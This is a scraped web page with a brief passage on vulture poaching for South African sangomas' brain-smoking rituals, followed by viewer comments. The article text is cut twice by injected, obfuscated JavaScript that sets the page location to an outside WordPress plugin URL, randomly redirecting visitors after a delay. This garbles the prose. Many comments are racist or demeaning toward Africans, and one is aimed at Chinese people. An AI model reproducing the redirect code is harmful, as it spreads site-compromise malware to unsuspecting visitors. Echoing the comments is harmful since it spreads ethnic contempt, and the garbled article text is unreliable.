They play an important ecological role in preventing the spread of disease and infection amongst African mammals.

One of the main reasons for the decline is the illegal trade of poached vultures. Often, those body parts end up in the hands of sangomas, South African traditional healers. Some sangomas use vultures in a variety of ceremonies, one of which includes smoking powdered brains toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to communicate with their ancestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors.

superstitious bullshit hucksterism
This was extremely eye opening
What.The.Fuck.
Nasty Heathens.
fucking savages.
Turns out acid gets you high as hell when you mix it with bird brains…….who new?
Very informative and interesting. But I kinda cringed a bit.
man this is dumb
3:12 bitch quit faking
we wuz kangs XD
They should tell the Chinese, they'd love that shit.
Misleading title!!! I wanted them to roll up a blunt of like fresh mushy brain stuff and light it up like a joint. Instead they just burnt some vague looking mixture…. Betcha it's not even vulture brain. Whoever selling them that powder is probably grinding up some oregano like "Here is your vulture brain!"
wow vultures are like 3x the size i thought they were from tv and cartoons what the fuck
Did anyone have a flashback of district 9 when the witch doctor tells the nigerian kingpin to eat the alien arm to gain its power?
Im surprised I. This day of age no one ever did a documentary of smoking human brains lol wtf did I just watch. This document is such a big fat phoney!!!
My boss is from South Africa, now I know why he's so stupid. He probably was eating those vulture brains, playing with spears, and rolling in termite mounds.
"We could just use other animals" Then why do it at all?!
I rather smoke real meds like CBD and THC
nasty, why not smoke weed
snobs
What was that bright fluorescent orange syrup he called medicine and mixed with the vulture brains? I'm pretty sure that's what's making people feel weird…
Oh, Africa..people will not come,when things like this go on and on.
Human intelligence is dwindling in all cultures across the globe
It really makes me sad and angry
Seems like these people need the guidance and support of a developed nation.
Vulture culture
They need to get a well respected witch to say it's bad luck, and then come up with some fake news. Problem solved
Inhaling burning gunpowder bad idea
I'm from the North of England. Can we try this with crow or starling brains?
It starts with KILLING, and cause and effect follows the MURDERS
6:49 The irony.
They dont even smoke it, just powered brains and a bunch of other stuff together and burned, then and they kinda just smell the smoke
